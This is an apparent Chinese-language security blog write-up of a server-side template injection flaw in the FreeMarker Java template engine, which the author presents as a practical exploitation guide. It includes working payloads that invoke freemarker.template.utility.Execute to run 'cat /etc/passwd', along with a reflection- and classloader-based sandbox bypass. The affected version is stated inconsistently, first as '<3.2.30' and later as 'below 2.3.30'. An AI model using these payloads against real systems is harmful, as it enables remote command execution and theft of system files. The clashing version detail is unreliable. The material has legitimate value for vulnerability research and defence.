突破屏障:FreeMarker模板引擎中的SSTI远程代码执行漏洞分析

本文详细分析了FreeMarker模板引擎中存在的服务器端模板注入漏洞,通过具体Payload演示了如何实现远程代码执行,并深入探讨了沙箱绕过技术。文章包含完整的漏洞复现步骤和技术细节,为安全研究人员提供实用的漏洞利用指南。

突破屏障:FreeMarker模板引擎中的SSTI远程代码执行漏洞分析

2023年,我在一个使用旧版FreeMarker模板引擎的应用程序中发现了一个重大漏洞。该版本存在服务器端模板注入漏洞,使我能够实现远程代码执行。在报告该问题后,公司立即采取了行动,通过实施沙箱机制来降低SSTI攻击的风险。然而,由于公司仍在使用FreeMarker版本<3.2.30,存在已知的漏洞利用方法可以绕过已实施的沙箱。

FreeMarker模板引擎概述

FreeMarker是一个广泛采用的模板引擎,主要用于基于Java的应用程序中,用于将表示逻辑与业务逻辑分离。它使开发人员能够创建结合静态内容和动态元素或占位符的模板。这些模板可以用来自不同来源的数据填充,包括Java对象或数据库查询,从而生成动态输出。

HTML转PDF转换流程

使用FreeMarker进行HTML到PDF转换的过程遵循结构化流程:

  1. HTML结构定义:在FreeMarker模板文件中定义所需的HTML结构
  2. FreeMarker指令:使用FreeMarker指令动态填充HTML模板数据
  3. 指令块:在FreeMarker指令中定义条件执行或迭代的代码块
  4. HTML渲染:通过将模板与提供的数据合并来渲染FreeMarker模板
  5. HTML到PDF转换:使用合适的转换工具将HTML输出转换为PDF文档

漏洞发现过程

在应用程序测试阶段,我观察到使用了<#if><#list></#list></#else>等标签。这些标签提示了应用程序使用的底层技术。经过进一步调查,发现应用程序正在使用FreeMarker模板引擎。

初始测试

我使用以下代码片段评估模板引擎的行为:

1
2
<#assign test = .version>
TEST FOR SSTI: ${3*3}

版本确认

通过以下代码确认引擎版本:

1
2
<#assign freemarkerVersion = .version>
FreeMarker version: ${freemarkerVersion}

结果显示引擎版本低于2.3.30,存在SSTI漏洞。

漏洞利用

基本Payload构造

freemarker.template.utility.Execute类提供了执行外部命令的能力:

1
${"freemarker.template.utility.Execute"?new()("cat /etc/passwd")}

沙箱绕过技术

公司实施沙箱后,需要构造更复杂的Payload:

1
2
3
4
5
<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("cat /etc/passwd")}

技术细节分析

类加载器操作

  • 通过article.class.protectionDomain.classLoader获取类加载器
  • 使用反射加载ObjectWrapperExecute

字段访问和实例创建

  • 获取DEFAULT_WRAPPER静态字段值
  • 创建新的包装器实例并执行命令

结论

该漏洞演示了即使实施了安全措施,如果使用的软件版本存在已知漏洞,攻击者仍然可能通过精心构造的Payload绕过防护机制。及时更新软件版本和实施多层次的安全防护至关重要。

感谢Bhavuk Jain的审阅。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计